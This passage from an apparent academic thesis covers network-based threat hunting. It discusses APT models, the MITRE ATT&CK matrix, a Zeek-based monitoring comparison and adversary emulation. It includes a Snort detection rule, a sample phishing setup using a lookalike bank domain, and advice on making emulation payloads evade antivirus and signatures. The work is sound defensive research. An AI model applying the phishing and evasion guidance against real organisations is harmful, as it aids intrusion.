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● Advanced persistent threat (APT) - An adversary targeting a network with the 
capability and resources to develop advanced tools used to thwart security controls and 
the time, money, and personnel to maintain a presence on the network. 
● Attack themes - Contains a grouping of adversary techniques to describe attacker 
activity on a network. 
● Techniques - Method of achieving a result during an attack. 
● Recon and weaponization - The attacker conducts research on a target. The attacker 
identifies targets (both systems and people) and determines his attack methodology. 
The attacker may look for Internet-facing services or individuals to exploit. 
● Lateral movement - The attacker uses his access to move from system to system 
within the compromised environment.  
● Internal recon - The attacker explores the victim’s environment to gain a better 
understanding of the environment, the roles and responsibilities of key individuals, and 
determines where an organization stores information of interest. 
● Initial compromise - The attacker successfully executes malicious code on one or more 
systems. This most likely occurs through social engineering (most often spear phishing), 
by exploiting a vulnerability on an Internet-facing system, or by any other means 
necessary. 
● Impersonation -  A type of attack where the attacker pretends to be an authorized user 
of a system in order to gain access to it or to gain greater privileges than they are 
authorized for. 
● Evasion - The Attacker also attempts to bypass an information security device in order 
to deliver an exploit, attack, or other forms of malware to a target network or system, 
without detection. Evasions are typically used to counter network-based intrusion 
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detection and prevention systems (IPS, IDS) but can also be used to bypass firewalls 
and defeat malware analysis.  
● DOS - A denial-of-service (DoS) is any type of attack where the attackers attempt to 
prevent legitimate users from accessing the service. 
● Delivery - A network mechanism used to distribute the malicious code to the target. 
● Command and control - A command and control (C&C) Server is a computer controlled 
by an attacker or cybercriminal which is used to send commands to systems 
compromised by malware and receive stolen data from a target network. 
● Actions on objective - The attacker accomplishes his goal. Often this means stealing 
intellectual property, financial data, mergers and acquisition information, or Personally 
Identifiable Information (PII). Once the mission has been completed, most targeted 
attackers do not leave the environment, but maintain access in case a new mission is 
directed. 
● Dwell time - is calculated as the number of days an attacker is present on a victim 
network, from the first evidence of a compromise to detection. 
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Constant innovation in attack methods presents a significant problem for the security community 
which struggles to remain current in attack prevention, detection and response. The practice of 
threat hunting provides a proactive approach to identify and mitigate attacks in real-time before 
the attackers complete their objective. In this research, I present a matrix of adversary 
techniques inspired by MITRE’s ATT&CK matrix. This study allows threat hunters to classify the 
actions of advanced persistent threats (APTs) according to network-based behaviors.   
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Introduction 
Advanced persistent threats (APTs) have become an ever-increasing plague in the IT 
environment. APTs have been known to steal intellectual property (IP) [79] [86], personally 
identifiable information (PII) [86]  such as social security numbers, and the Magecart attacks [2] 
demonstrated by financially motivated attackers. Our current method of setting up security 
controls to wait for an alert to be triggered is no longer effective. As defenders, we need a more 
proactive approach to seeking out attackers and one solution is threat hunting. 
 
Threat hunting turns the tables and allows defenders to become the hunters within their 
environment. Threat hunting empowers security analysts to search for the existence of APTs on 
the network that has security controls implemented but have gone undetected. The ultimate 
goal of threat hunting is to reduce the dwell time of an attacker within the network [1]. Our 
research will implement Endgame’s threat hunting process because it is built on the foundation 
of the scientific method, which makes the process repeatable and our findings measurable.  
 
The first step in their process is generating a hypothesis in which the analyst can prove or 
disprove the existence of malicious activity in their environment. The Endgame process uses 
the MITRE ATT&CK matrix to facilitate generating hypotheses because it provides a list of 
known APT techniques 
 
In the current landscape, the MITRE ATT&CK matrix targets endpoint detection. Meaning the 
current MITRE ATT&CK matrix only contains host-based techniques and does not provide 
network-based techniques to be hunted for on the network. I am challenging that APT detection 
is not limited to endpoint monitoring and that detection can be performed from the network as 
well. Our research will generate a MITRE ATT&CK style-like matrix to describe APT techniques 
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from a network perspective that can be used for network-based threat hunting. Therefore, our 
research will reduce the dwell time of an attacker on the network because security analysts will 





Advanced Persistent Threat (APT) 
APT is a cliche term that has been recycled within the cybersecurity industry so much that it 
seems everyone has their own definition. Our definition of APT will be “an adversary targeting a 
network with the capability and resources to develop advanced tools used to thwart security 
controls and the time, money, and personnel to maintain a presence on said network.”. The 
motivation to devote this massive amount of resources differs between APT groups. Over the 
past 20 years, we as a society have seen the results of each APT groups motivation in our daily 
lives.  
 
In the Spring of 2019, Magecart took the cybersecurity community by storm when targeted 
attacks were discovered. RiskIQ reports that Magecart is “responsible for recent high-profile 
breaches of global brands Ticketmaster, British Airways, and Newegg in which its operatives 
intercepted thousands of consumer credit card records” [2]. In the Summer of 2019, multiple 
municipalities in the state of Florida [18] [19] [20]  and Georgia [21] [22] [23] were victims of targeted 
ransomware campaigns. These ransomware campaigns targeted municipalities with cyber 
insurance policies; therefore, the payout was guaranteed. In light of the recent financial attacks, 
Fireeye has created a new term called FIN which is an abbreviated term for financially 
motivated attackers [24]. 
 
The 2016 United States (U.S.) election was the first time in U.S. history that the power of the 
internet was used to force a desired outcome on an election in a democratic nation. As time 
evolved, multiple reports including academic reports [25] [26] [27], public reports [28] [29], the Mueller 
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report [30], and news articles [32] [33] [34] have been released pertaining to Russia’s capabilities 
during the 2016 election. These capabilities include, but are not limited to, the capability to 
infiltrate our social media to change the way we perceive information, our democratic system, 
and the capability to perform cybersecurity espionage.  
 
During the 2016 election, the Democratic National Committee (DNC) was hacked by a group 
referred to as APT 28. Crowd Strike was brought in to perform an investigation and discovered 
a “Russian-based threat actor, which has been active since the mid 2000s, and has been 
responsible for targeted intrusion campaigns against the Aerospace, Defense, Energy, 
Government and Media sectors. Their victims have been identified in the United States, 
Western Europe, Brazil, Canada, China, Georgia, Iran, Japan, Malaysia, and South Korea. 
Extensive targeting of defense ministries and other military victims has been observed, the 
profile of which closely mirrors the strategic interests of the Russian government” [35]. 
 
The last type of threat actors that we are going to discuss is hacktivist groups such as 
Anonymous. Hacktivists have been known to target individuals and organizations to increase 
the awareness of their agenda. In the Fall of 2010, Anonymous launched “DDoS attacks as part 
of Operation Payback against Amazon, PayPal, MasterCard, Visa, and PostFinance, in 2010 in 
response to these companies’ 20 attempts to block donations to WikiLeaks, an international 
non-profit journalist organization that leaks and publishes confidential information provided by 
anonymous sources” [36].   
 
In summary, these APT groups have shown that they are capable of accomplishing their object, 
regardless of difficulty or cost. These current events are examples of the capabilities that APTs 
possess and the consequences that follow as a result of their actions.  
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Techniques, tactics, and procedures (TTPs) 
The acronym TTPs stands for Techniques, Tactics, and Procedures. TTPs are used to 
represent the behaviors of adversaries [37]. This term TTP comes from the military and is used to 
describe the actions of the adversary and how they do it in increasing levels of detail [136]. A 
breakdown of TTPs [37] [38] [39] is outlined below. 
 
A TTP can be broken out as: 
● Tactics - Outline the way an adversary chooses to carry out his attack from the 
beginning to the end. 
○ Phases of an attack like initial compromise, lateral movement, persistence, and 
etc 
● Techniques - Approach of achieving intermediate results during the campaign 
○ Send targeted emails to potential victims with a malicious document 
○ Documents attached containing malicious code which executes upon opening 
○ Captures credit card information from keystrokes 
○ Uses HTTP to communicate with a command and control server to transfer 
information 
● Procedures - What the adversary is looking for within the target’s infrastructure. 
○ Perform open-source research to identify potentially gullible individuals 
○ Craft a convincing socially engineered email and document 
○ Create malware/exploit that will bypass current antivirus detection  
○ Establish a command and control server by registering a domain called 
mychasebank.org 
○ Send mail to victims from a Gmail account called accounts-
mychasebank@gmail.com. 
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TTPs in perspective of the MITRE ATT&CK matrix 
This screenshot below (Figure 1: MITRE ATT&CK and TTPs explained) is a perfect example of 
how the MITRE ATT&CK matrix represents TTPs. The column headings (color blue) are the 
tactics, the white cells are techniques, and the instructions to perform a particular technique are 
the process. 
 
Figure 1: MITRE ATT&CK and TTPs explained 
 
● Nickels, K., & Thomas, C. (2018). Retrieved from https://www.sans.org/cyber-security-summit/archives/file/summit-
archive-1536260992.pdf 
Adversary models 
Before we can understand threat hunting, we must understand the process of an APT. In our 
current landscape, there are two favored models to describe the process of an advanced 
persistent threat. These two models are the Lockheed Martin Cyber Kill Chain [40] and the 
Mandiant Attack Lifecycle [41]. However, for this research, we chose the Bryant Kill Chain [42] 
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which is an evolution of the Mandiant Attack Lifecycle and the Lockheed Martin Cyber Kill Chain 
for network-based forensics. 
Cyber kill chain by Lockheed Martin 
Figure 2: Lockheed Martin Cyber Kill Chain 
 




The first publicly known attack model was the cyber kill chain developed by Lockheed Martin. 
This model was an attempt to describe the activities adversaries must complete in order to 
achieve their objective [43]. However, this model was created from the perspective of the 
adversary but was intended to be used by defenders. As stated by Lockheed Martin “This paper 
describes an intelligence-driven, threat-focused approach to study intrusions from the 
adversaries’ perspective. Each discrete phase of the intrusion is mapped to courses of action for 
detection, mitigation and response.” [40]  
 
This model is inadequate for defenders because it contains phases of the attack process that 
defenders can’t detect. For example, the cyber kill chain contains an attack phase called 
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“weaponization”; the creation of a zero-day exploit or malicious document to control a machine 
on the target network.  
 
Weaponization is a phase that can not be detected by defenders. In fact, Lockheed Martin 
states “This is an essential phase for defenders to understand. Though they cannot detect 
weaponization as it happens, they can infer by analyzing malware artifacts.” [43]. This is one 
reason why the Cyber Kill Chain is not an appropriate model for defenders and our model.  
 
Second, the Cyber Kill Chain’s visual representation is incorrect. The Cyber Kill Chain shows a 
linear progression for attackers but does not accurately represent the actions of attackers. 
Attackers will continually perform internal recon, lateral movement, and placing persistence until 
they achieve their objectives [44]. These flaws lead to the creation of the Attack Life Cycle by 
Mandiant. 
Attack life cycle by Mandiant 
Figure 3: Mandiant Attack Lifecycle 
 
● (2004). Retrieved from https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf 
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The Mandiant Attack Life Cycle provides an attack model that can be used by red teamers 
(attackers) and blue teamers (defenders) to describe the actions of APTs. This model removes 
the weaponization phase because it is not something that can be detected by defenders. All the 
phases on the Attack Lifecycle are phases that can be detected by defenders. Next, the model 
visually represents the path of attackers by adding a loop. This loop is demonstrating that an 
attack is not a linear progression.  
 
The Attack Lifecycle is the preferred adversary model these days in the infosec community. 
However, for our purposes, the Attack Lifecycle contains phases that cannot be observed from 
the network. For example, privilege escalation is something that happens on the host and can 
not be detected from a network perspective. This statement assumes the premise that 
defenders do not have the ability to detect the delivery of the privilege escalation exploit. Since 
the Attack Lifecycle does not meet our needs of being network focused, we started to look for 
alternative adversary models.  
Bryant kill chain 
Figure 4: Bryant Kill Chain 
 
● Bryant, B. D., & Saiedian, H. (2017). Retrieved from https://www.researchgate.net/publication/314782193_A_novel_kill-
chain_framework_for_remote_security_log_analysis_with_SIEM_software 
 
The Bryant kill chain is an exceptional alternative for an adversary model [42]. This model is an 
evolution of the Lockheed Martin Cyber Kill Chain and the Mandiant Attack Lifecycle and has a 
focus on network-based forensics. This model also addresses the flaws described earlier and 
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provides phases of an attack from a network perspective. Our matrix uses this adversary model 
as a foundation for the column headings.  
 
Our model acknowledges each phase of the Bryant Kill Chain except for one, which is privilege 
escalation. This was discussed earlier as a phase that occurs on the machine itself and cannot 
be observed from a network perspective. Furthermore, our model combines the phases “actions 
on objectives” and exfiltration because we believe exfiltration is part of “actions on objectives”. 
MITRE ATT&CK matrix 
Origin story 
This section will provide the origin story of the MITRE ATT&CK matrix [45]. In 2013, MITRE 
started a project called FMX [46] [47] [48] [49]. The goal of FMX was to figure out better ways of 
detecting adversaries after they have already gained access to the network. FMX would help 
map how they moved around, how they completed their objective, and how they learned about 
the environment [47]. By doing this project, the hope was to take a deep dive into the mindset of 
an attacker and understand the artifacts left behind by their actions. 
 
At ATT&CKcon, Blake Storm, the creator of the MITRE ATT&CK matrix, states [50] that a lot of 
companies were basing their security strategy on indicators of compromise (IOCs). These IOCs 
would typically be an IP address, file hash, domain name, registry values, and unique strings 
within the malware. These IOCs were ephemeral, meaning, the intelligence was only actionable 
for a short period of time. Furthermore, a threat actor would use one set of IOCs to attack 
organization A but use another set to attack organization B. FMX was the genesis of a list of 
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adversary behavior on a system and a combination of behaviors would act as a fingerprint for a 
specific threat actor.  
 
At the time, the biggest challenge in our industry was that we didn’t have a common framework 
to describe adversary behavior. This lead to not being able to cross-correlate threat actor 
activity, being restricted to forensic artifacts which were low fidelity IOCs or only discussed how 
the malware functioned but not how the adversary was operating it. MITRE noticed this issue 
and started to collect all the public reports on known APTs. After reading each report, they tried 
to extract the techniques being used by each APT.  
 
Next, MITRE created a list of known techniques based on knowledge from their internal red 
team. Then they cross-referenced those techniques with public reports on known threat actors, 
public reports on malware, and threat intelligence. Eventually, it became apparent that a set of 
techniques created a grouping. These groupings are what we now know as tactics or column 
headings on the current MITRE ATT&CK matrix. The evolution of the FMX project is what we 
now call the MITRE ATT&CK matrix.  
 
Currently, the MITRE ATT&CK matrix allows the infosec community to communicate effectively 
[47] about host-based adversary behavior. Our matrix provides a framework to describe the 
behavior of an APT on the network. Furthermore, our matrix can be used by APT reports to 
describe the behavior of APT malware, instead of relying on ephemeral IOCs, like IP addresses. 
Architecture 
The architecture of the MITRE ATT&CK matrix is composed of three levels. The levels 
correspond to what we refer to as TTPs - tactics, techniques, and procedures. Each level 
increases in granularity about the adversaries behavior. The first level, tactics, is the column 
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heading across the top of the matrix. The second level, techniques, is the cells in each column. 
The third level, procedures, explains the details provided in each cell to accomplish a technique.  
 
You may have recognized that a majority of the column headings on the MITRE ATT&CK matrix 
correspond to the phases from the Mandiant Attack Lifecycle. The MITRE ATT&CK matrix takes 
the concept of the Mandiant Attack Lifecycle and expands upon what it is trying to represent.  
 
The column headings of the ATT&CK matrix are phases of the Attack Lifecycle [47]. As you go 
down each column (phase) of the matrix, these are the techniques used by APTs. Finally, now 
that we have an understanding of adversary models, TTPs, and the MITRE ATT&CK matrix, we 
can now start to discuss threat hunting. 
Threat hunting 
What is threat hunting? 
Threat hunting like APT has several definitions within our industry. However, our definition of 
threat hunting is “a human analysis with automation to search for the existence of malicious 
activity that has evaded the detection of security controls within your environment”. A simpler 
version is how Endgame states threat hunting, which is a “process of actively looking 
for signs of malicious activity within enterprise networks, without prior knowledge of those 
signs.” [1]. Listed below is the threat hunting process by Endgame [1]:  
Endgame’s threat hunting process 
1. Propose a hypothesis 
2. Identify evidence to prove the hypothesis 
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3. Develop analytics 
4. Automate 
5. Document 
6. Communicate and report 
Threat hunting process in action 
The first step in this process is generating a hypothesis which the analyst can prove or disprove 
[1]. A beginner to threat hunting may generate a hypothesis of “hunt for malicious activity within 
my environment”. This may seem like an acceptable hypothesis but this approach is incorrect. 
An approach such as this provides an unrepeatable experiment that does not have a definite 
conclusion. An experienced threat hunter will generate a scoped hypothesis that will result in a 
definite conclusion. The final conclusion should state whether or not signs of malicious activity 
were discovered in our environment for that particular technique. 
 
One approach and a commonly preferred method of generating a scoped hypothesis is utilizing 
the MITRE ATT&CK matrix [1]. The MITRE ATT&CK matrix has column headings that are 
composed of the phases from the Mandiant Attack Lifecycle and additional themes that 
emerged from research on APT groups. For example, the “Lateral Movement” column contains 
techniques used by attackers to move laterally in an environment. If we wanted to hunt for 
lateral movement in our environment, we would choose one technique from this column to hunt 
for and subsequently generate a hypothesis. 
 
For instance, let’s say we want to hunt for Server Message Block (SMB) being used for lateral 
movement in our environment. A potential hypothesis would be: “Attackers are leveraging SMB 
to move laterally in our environment”. A Sub-hypothesis may be required to provide a definite 
conclusion. An example of sub-hypothesis would be: “Attackers are leveraging PsExec to 
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perform SMB lateral movement in our environment.” Next, we would collect information in our 
environment to prove or disprove our hypotheses.   
 
After collecting the appropriate data, we want to reduce our data set to cut down the amount of 
analysis required by a human. Reducing the dataset may exclude IT servers that use PsExec to 
remotely manage systems. Once a reduced dataset has been constructed, you need to 
automate the collection and reduction process. Once automated, this process should be 
documented so the hunt is reproducible, provides all the decisions for data reduction, and how 
to interpret the findings.  
 
Any findings need to be communicated and reported. It is important to note the absence of 
malicious activity does not mean the hunt was unsuccessful. The absence of malicious activity 
demonstrates your security controls are functioning as intended for that particular technique. 
This premise assumes the following: your security controls are working as intended, your 
security controls are collecting the proper information for the intended hunt, the security 
analyst’s filtering does not exclude malicious activity, and the security analyst interprets the 
results correctly   
 
Our approach to network-based threat hunting will take a similar approach. Our MITRE 
ATT&CK style-like matrix will empower a security analyst to hunt for the behavior of APT activity 
on the network. The process mentioned above can be used to determine the likelihood of APT 
acting within a network. To accomplish this objective, we will utilize the network security 
monitoring platform, Zeek (formerly known as BRO), to analyze network traffic for malicious 
behavior.  
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Network security monitoring (NSM) platforms 
What is network security monitoring (NSM) 
Richard Bejitlich states network security monitoring (NSM) is “the collection, analysis, and 
escalation of indications and warnings to detect and respond to intrusions. NSM is a way to find 
intruders on your network and do something about them before they damage your enterprise.” 
[53]. An NSM will sit on your network inspecting the network traffic looking for signs of malicious 
traffic. The infosec community has various platforms to perform NSM operations and choosing 
the best platform for our use case was not easy. 
Criteria for network security monitoring (NSM) 
One of the hardest tasks of this thesis was choosing the best network security monitoring 
platform for the experiments. The painless part was finding a diverse set of platforms but the 
criteria to choose the best platform was not so trivial. Our literature review didn’t reveal one set 
of criteria to be used but rather themes emerged from the literature review. These themes were 
used as our criteria to choose the best network security monitoring platform.  
 
The literature review emerged the following themes: have an extensible framework and/or rule 
engine [51] [65], must be protocol-aware [63] [64] [65], must have a network monitoring fidelity [52] [63] [64] 
[65], must provide a detailed timeline of events that occurred on the network [53] [63] [65], and must 
provide scope on an incident [52] [65] [66] . The extensible framework enables the security analyst to 
utilize pre-made rulesets and create/modify rules to detect malicious activity. No two 
environments are alike and an NSM system has to be flexible for each environment. In addition, 
your environment may have homegrown software, which means no single solution will protect it 
out of the box.  
28 
 
The NSM platform must be protocol aware. In the event that malware communicates [132] [133] 
with HTTP (no encryption) over port 443 (which is the standard port used for HTTPS), a protocol 
aware platform will not make the mistake of assuming it’s encrypted traffic and will inspect the 
traffic properly. Not only is being protocol aware important but so is providing a timeline of 
events. For example, let’s say ransomware infects a machine on your network and spreads to 
other machines. The NSM should provide a timeline of the initial beacon from the first infected 
machine to the ransomware C2 server.  
 
Next, the NSM should provide a timeline of when other machines were infected and how fast it 
spread. Continuing with this hypothetical, the NSM should provide scope to incidents. The 
network logs should show all the machines that were infected (calling out to C2 server) and who 
each machine talked to. The criteria discussed so far is great but it only provides so much 
context about the incident, which is why different levels of fidelity are needed. 
 
NSM platforms have the following logging levels which are: statistical-based logging, event-
based logging, session data, and full PCAP capture [52] [63] [64] - logging levels are ordered by 
fidelity. The first logging level, statistics, “shows the nature and volume of the data moving 
through your network” [52]. Statical based logging has the advantage of being able to detect 
irregular volumes of traffic and detect beaconing.  
 
With enough statistical data, one could find huge spikes of data leaving a network which would 
indicate exfiltration. Statistical data of the network can be used to detect beaconing activity 
which occurs on a specified interval. Lastly, statistical-based logs can be used to look for 
suspicious data around a particular time frame.  
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Event-based systems “will generate events (or alerts) when the predefined conditions are 
observed on the monitored network.” [52]. Event-based monitoring is probably the most popular 
option being used in enterprise environments [52]. This type of monitoring generates alerts when 
conditions of the connection meet a predefined signature. For example, the Snort IDS rule 
below (Figure 5: Snort rule for APT1) is specially crafted to detect the existence of APT1 on the 
network. At a high level, this rule is looking for a certificate that has a serial number that starts 
with “7C A2” and contains “mail.aol.com” for the issuer of the certificate. 
 
Figure 5: Snort rule for APT1 
alert tcp $EXTERNAL_NET 443 -> $HOME_NET any (msg:"ET TROJAN FAKE AOL SSL 
Cert APT1"; flow:established,from_server; content:"|7c a2 74 d0 fb c3 d1 54 b3 d1 a3 00 62 
e3 7e f6|"; content:"|55 04 03|"; content:"|0c|mail.aol.com"; distance:1; within:13; 
reference:url,www.mandiant.com/apt1; classtype:trojan-activity; sid:2016469; rev:3;) 
 
Session data “is a record of the conversation between two network nodes.” [53]. Session data 
collects the following data: “timestamp, source IP address, source port, destination IP address, 
destination port, protocol, application bytes sent by source, and application bytes sent by 
destination, and other information” [53]. The other information may include more information 
about a connection such as the HTTP method (GET, POST) or the HTTP URI for an HTTP 
connection. For example, an IT system may use PsExec over SMB to remotely administrate a 
box. Session data could be used to detect an infected Windows client initiating SMB calls via 
PsExec to the Windows server, which shouldn’t be happening. 
 
Lastly, full packet logging is “collecting the data transferred between systems to help the IR 
team generate signatures, monitor activity, or identify data that has been stolen” [52]. This type of 
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collection is the entire conversation including the data payload. Full PCAP data can be used to 
investigate alerts from event-based systems. Also, full PCAP monitoring “offers the highest 
fidelity, because it represents the actual communication passed between computers on a 
network.” [52]. While this option provides the highest fidelity, it also requires a lot of resources to 
store these PCAPs long term.  
 
In addition to the themes that emerged from the literature review, the researchers added their 
own criteria which are: an open-source platform, not a conglomerate of tools like SecurityOnion 
(SO), consideration of hardware requirements, and enterprise battle-tested. The overall goal of 
these additional requirements is to ensure our research can be employed by all organizations, 
including organizations with small IT budgets.  
 
If our research required full PCAP captures to implement our solution, it would be impossible for 
small businesses. Northrop Grumman reported in 2011 that a 1 gigabyte saturated link would 
generate 6TB of PCAP in one day. Depending on the small business, 6TB of data may be more 
data than the entire organization as a whole - based on the small business pricing of cloud 
storage providers like Dropbox OneDrive, and Google Drive.  
 
This means the hardware for this type of solution would not be practical. Staying with the theme 
of small IT budgets, an open-source solution is something that any organization can implement. 
The researchers would like the reader to note that even though Zeek is open-source, it doesn’t 
mean it’s only a solution for small IT budgets. Zeek has been implemented and battle-tested at 
organizations with 100G links [69] [70].  
 
Berkeley labs demonstrated that Zeek can be run on commodity hardware [69]. Berkeley is 
monitoring a 100G link with the following hardware: [69]   
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● 2x Intel 3.5GHz Ivy Bridge dual hex--core 
● 128GB DDR3 1600 MHz ECC/REG RAM 
● 2x Intel 6GB/s 2.5” 120GB SSD drives 
● 6x WD1000CHTZ 10K RPM 6GB/s 1TB SATA drives for RAID -6  
● Myricom NIC 
 
Lastly, the researchers tried to stay away from NSM stacks like Security Onion (SO). SO at the 
time of this writing supports 20+ [135] [136] [137] tools. While SO is fantastic in the abundance of 
features it provides, the tooling can be overwhelming. Our researchers wanted to focus on one 
tool to perform network security monitoring. 
Network security monitoring criteria 
● Open-source platform 
○ No commercial platforms were evaluated 
● Not a conglomerate of tools like SecurityOnion 
● Extensible framework and/or rule engine [51]  [65] 
○ 0 - No rules  
○ 1 - Rules provided by an entity but can not add/modify rules 
○ 2 - Rules provided by an entity and can add/modify rules 
● Protocol-aware [63] [64] [65] 
○ 0 - Not protocol aware  
○ 1 - Protocol aware 
● Network monitoring fidelity [52] [63] [64] [65]: 
○ 1 - Statistics: High-level statistics are generated to show the nature and volume 
of the data moving through your network  
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○ 2 - Event-based: Generate events(or alerts) when the predefined conditions are 
observed on the monitor network 
○ 3 - Session data: A record of the conversation between two network nodes. 
Session data collects: source IP, source port, destination IP, destination port, 
protocol, application bytes sent by the source, application bytes sent by 
destination, and additional application information. 
○ 4 - Full content data: Collecting all information that passes across a network - full 
packet capture 
● Generate a timeline of DETAILED network events [53] [63] [65] 
○ 0 - No timeline 
○ 1 - Timeline of alerts 
○ 2- Timeline of network events 
● Enterprise battle-tested [69] [72] [73] 
○ 0 - No known setups 
○ 1 - Known setups in environments 
● Considerate hardware requirements [52] [67] [71] [72] 
○ 2 - 0-5k for hardware 
○ 1 - 5k-10k  for hardware 
○ 0 - 10k+ for hardware 
● Provide scope on an incident [52] [65] [66] 
○ 0 - No scope 
○ 1 - Scope 
Network security monitoring platform comparison 
As stated above, our research discovered multiple platforms that could have been used to 
monitor network activity. Our final choice, was Zeek (formerly known as BRO) because it 
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produced the highest score based on the criteria below. The table below has network security 
monitoring platforms across the top and the criteria to evaluate each platform down the left. 
Each criterion has its own scale and the goal of this table is to show the best platform based on 
a score. 
Table 1: NSM platform comparison 
 Zeek Suricata Snort Molach 
Extensible 
framework/rul
e engine 1 1 1 0 
Protocol 
aware 1 1 1 1 
Network 
monitoring 





events 2 1 1 2 
Enterprise 
battle-tested 1 1 1 1 
Considerate 
hardware 2 2 2 0 
Provide scope 1 0 0 1 
     
Total 11 8 8 9 
Adversary emulation 
What is adversary emulation? 
Our industry has many terms for adversary emulation which include adversary simulation,  
threat simulation, and threat emulation. Our research will refer to this concept moving forward 
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as adversary emulation. Adversary emulation is defined by SANs as “activity where security 
experts emulate how an adversary operates. The ultimate goal, of course, is to improve how 
resilient the organization is versus these adversary techniques.” [60]   
 
Our research will leverage an adversary emulation platform to emulate an APT group within a 
network environment. First, we will create an environment that will be monitored by Zeek for the 
adversary emulation platform to conduct its activities. This network will consist of two Windows 
10 machines connected to a Windows Server 2016 domain controller, based on this network in 
this RSA presentation [60].  
 
Once the simulation has been completed we will analyze the Zeek logs for network-based 
techniques. Next, we will create a heatmap of the techniques performed by the adversary 
emulation platform vs. the techniques discovered by Zeek that exist on our matrix. Our goal is to 
demonstrate the efficacy of our matrix by comparing the techniques used by the adversary 
emulation platform to emulate a threat actor vs. the techniques on our matrix. 
Adversary emulation process 
Figure 6: MITRE adversary emulation process 
 
● Nickels, K., & Thomas, C. (2018). Retrieved from https://www.sans.org/cyber-security-summit/archives/file/summit-
archive-1536260992.pdf 
 
MITRE has a very simple process to perform adversary emulation which is [39]: 
1. Gather threat intelligence about a threat actor 
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2. Extract techniques used by a threat actor 
3. Analyze and organize 
4. Develop tools 
5. Emulate the adversary 
First, we need to identify the adversary you want to emulate. This process can be done by 
considering who is targeting your organization and what gaps you’re trying to asses. Once you 
have identified a threat actor you would like to emulate in your environment, you need to gather 
threat intelligence. Threat intelligence may include, but is not limited to, APT reports, malware 
samples on VirusTotal, and indicators of compromise (IOCs) from a particular threat group [127].  
 
Next, extract techniques used by the threat actor from the threat intelligence. These techniques 
should be mapped to techniques on the MITRE ATT&CK matrix [45] [76] [77] [78]. At the time of this 
writing, the MITRE ATT&CK matrix only provides a list of techniques for host-based techniques. 
The deliverable from this research should provide a matrix of techniques from a network 
perspective, allowing security analysts to map network techniques. Lastly if necessary, perform 
additional research on how to perform certain techniques or tools to emulate each technique. 
 
Next, analyze and organize the techniques extracted from your research. Establish a goal, if the 
threat actor were to gain access to your environment. For example, APT3 is known to steal 
intellectual property (IP) and that could be your goal [79]. Once a goal is established, use the list 
of techniques used by this threat actor to plan a technique flow for your environment. Once the 
flow is established, split the flow into phases that can be accomplished in a reasonable amount 
of time. Below is a screenshot (Figure 7: APT3 adversary emulation plan) of the adversary 
emulation phases for APT3 created by MITRE [79]. 
 
Figure 7: APT3 adversary emulation plan 
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● Nickels, K., & Thomas, C. (2018). Retrieved from https://www.sans.org/cyber-security-summit/archives/file/summit-
archive-1536260992.pdf 
 
Next is to engineer the proper tooling to accomplish this emulation plan. Depending on the 
threat actor, you will need to find tools to accomplish each technique you wish to perform. If a 
tool doesn’t exist, you may need to engineer the tooling to make it happen. Once the tooling is 
created, you will need to create payloads but the payloads should emulate the adversary but 
shouldn’t get detected by signature detection. When appropriate, obfuscate your activities 
where the hope would be to obfuscate your behavior the same way the threat actor did.  
 
Finally, emulate the adversary! As you conduct your adversary emulation keep in mind the 
timeline of the threat actor and act accordingly. One of two outcomes will be that the adversary 
emulation was successful or it wasn’t. Once the adversary emulation exercise has come to an 
end, it’s time for the red and blue team to discuss what was detected, what wasn’t, and possible 
detections and prevents. 
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Criteria for adversary emulation platform 
Again, one of the challenges of this thesis was choosing the best adversary emulation platform 
for the experiment. The painless part was finding a diverse set of platforms but the criteria to 
choose the best platform was not so trivial. Our literature review didn’t reveal one set of criteria 
to be used but rather themes emerged from the literature review. These themes were used as 
our criteria to choose the best adversary emulation platform.  
 
The literature review emerged the following themes: can perform phases of the Mandiant attack 
lifecycle [129] [131] (external reconnaissance [60] [62] [74] [129] [131], weaponization [60] [127] [131] [150], initial 
compromise [60] [61] [74] [127] [129] [131] [150], persistence [131] [150], escalating privileges [60] [61] [129] [131], 
internal recon [60] [74] [131] [150], lateral movement [39] [60] [74] [129] [131] [150], and actions on objectives [60] 
[129] [150]), post-exploitation modules [60] [150], multiple C2 channels [74] [130] [131] [150], can bypass 
security controls [39] [60] [61] [131], and can thwart signature detection [39] [60] [61].  
 
If an adversary emulation platform states it can emulate an APT, it should be able to perform 
techniques from each phase on the Mandiant attack lifecycle. For the criteria below, we 
combined the establish foothold and maintain persistence phases into persistence. Depending 
on the threat group, they may use the same or different techniques for each phase. In either 
case, they are just placing persistent mechanisms.  
 
APTs are known to use any technique to accomplish their mission, therefore the adversary 
emulation platform should do the same. The platform should contain a plethora of post-
exploitation techniques to completely emulate the APT. For example, APT3 used 13 techniques 
for credential access, 3 techniques for lateral movement, 8 techniques for defense evasion, and 
7 techniques for persistence [85]. Following this trend, APT3 used 6 techniques for command and 
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control from the MITRE ATT&CK matrix and 4 different techniques from our matrix (Experiment 
1: Test case 1). This means the adversary emulation platform should have multiple 
communication methods for C2. 
 
Finally, the adversary emulation platform should be able to perform defense evasion. The 
literature emerged two themes to do this which are bypass security controls and thwart 
signature detection. Bypassing security controls could be as simple as disabling AV or knowing 
a vulnerability to go undetected by the AV. In addition, your defenders should not be able to 
create signatures for your adversary emulation artifacts. For example, if your defenders detect a 
binary related to your adversary emulation exercise and create a signature to detect that file 
hash, this hash should not be used again in future exercises.  
 
In addition to the themes that emerged from the literature review, the researchers added their 
own criteria which are: extensible framework [150], platform must map techniques to the MITRE 
ATT&CK matrix [39] [74] [127] [129] [131] [150], paid or open-source platform, capable of performing full 
chain attacks [60] [150], and generate logging and reporting [60] [130].  
 
First, as stated in multiple references, the platform must without exception map techniques to 
MITRE ATT&CK. This presentation at the RSA conference [60] states that everyone (red and 
blue team) want to speak the same language. Therefore, without exception, our research did 
not evaluate any platforms that did not have this capability.  
 
The researchers wanted to address why open-source was strict for the NSM criteria above but 
not for the adversary emulation platform criteria. The researchers had a wonderful opportunity to 
test an up-and-coming adversary emulation platform called Scythe. In addition, when you 
compare the capability level of Scythe to open-source projects, it exceeds the capabilities of all 
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the other platforms combined. Also, the researchers have made the PCAPs (Contributions: 
Public datasets) from this adversary emulation exercise open-source for further research.  
 
The adversary emulation platform should be able to perform full-chain attacks. A non-full chain 
attack is any platform that can only be used to test a single technique at a time. A platform 
should be able to perform payload generation (generate malicious document), initial 
compromise (with some user intervention), establishing a foothold (placing persistence), 
escalating privileges, internal recon, lateral movement, and exfiltration.   
 
Lastly, after the adversary emulation exercise has ended, the platform should provide a report. 
This report should contain forensic artifacts, network artifacts, and a timeline of events. This 
type of reporting enables the defenders to go back and see if their system detected the activity. 
